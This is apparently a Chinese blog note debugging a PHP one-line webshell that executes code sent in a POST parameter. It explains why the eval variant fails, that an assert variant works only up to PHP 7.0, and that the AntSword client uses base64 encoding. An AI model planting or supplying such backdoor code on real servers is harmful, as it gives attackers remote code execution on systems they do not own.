一句話木馬踩坑記

  • 2019 年 11 月 7 日
  • 筆記

前言

我太菜了,今天有學弟拿著一個一句話過來找我,說鏈接不上

<?php  $a="eval";  $a(@$_POST['a']);  ?>

最開始以為是版本的問題

然後開始踩坑了

測試

我自己用帶毒的phpstudy測試了一下:

在php5的版本裡面報錯:

Fatal error: Call to undefined function eval() in E:softwarePhpStudyPHPTutorialWWW1.php on line 3

在php7裡面報錯:

Fatal error: Uncaught Error: Call to undefined function eval() in E:softwarePhpStudyPHPTutorialWWW1.php:3 Stack trace: #0 {main} thrown in E:softwarePhpStudyPHPTutorialWWW1.php on line 3

請教了一個大佬:

我:  <?php  $a = "eval";  $a(@$_POST['a']);  ?>  這種木馬 您能用嗎  大佬:  咋不能用?  大佬:  一個簡單的變形沒看懂嗎  我:  php的文檔說 eval不是函數  大佬:  本來就是語言構造器  我:  您測試成功了馬  大佬:  你網上花錢找個師傅吧 我不提供問題解答哈  我:  哦 好吧  大佬:  Assert也是一樣可以的,自己試

好尷尬啊,被大佬教育了一波,我太菜了,於是乎查了查文檔,然後自己又測試了一下:

給了一個合理的解釋:

eval是因為是一個語言構造器而不是一個函數,不能被可變函數調用。

什麼是可變函數呢:

PHP 支援可變函數的概念。這意味著如果一個變數名後有圓括弧,PHP 將尋找與變數的值同名的函數,並且嘗試執行它。可變函數可以用來實現包括回調函數,函數表在內的一些用途。 可變函數不能用於例如 echo,print,unset(),isset(),empty(),include,require 以及類似的語言結構。需要使用自己的包裝函數來將這些結構用作可變函數。

所以我在懷疑,有些大佬們都是照抄assert的變形方式沒有測試過就放到部落格上了就是說,如果換了assert,這個是可以用的

結論:

eval不能用,assert可以用。

深入

在php5的版本:

正常

繼續測試一下assert

在php7.0的版本:

正常

在php7.1往後的版本:

Warning: Cannot call assert() with string argument dynamically in E:softwarePhpStudyPHPTutorialWWW1.php on line 3

網上搜索了一下:

assert()默認不在可以執行程式碼  這就是眾多馬不能用的罪魁禍首了,太多的馬用assert()來執行程式碼了,這個更新基本就團滅,一般情況下修改成eval即可正常運行了~

這樣一看問題基本明晰了,然後又看了一眼文檔

7.0.0 assert() is now a language construct and not a function. assertion() can now be an expression. The second parameter is now interpreted either as an exception (if a Throwable object is given), or as the description supported from PHP 5.4.8 onwards.

在php7裡面 是語言構造器。

結論

eval不能用,php7.1之後assert()也不能用

最後說一下,蟻劍是可以用assert的,不過編碼最後使用base64

後記

直接百度了一下:

還是有幾個大佬寫的有這種問題的。

最後可能是我認知上出現了問題,冒犯到大佬,還望見諒。

有不當之處,多多指正,感謝大佬們教我做人。

我還是太菜了。

相關鏈接

https://www.php.net/manual/zh/functions.variable-functions.php

https://www.php.net/manual/zh/function.assert.php

http://www.vuln.cn/8395

https://www.xmsec.cc/few-security-changes-between-php-7-and-php-5/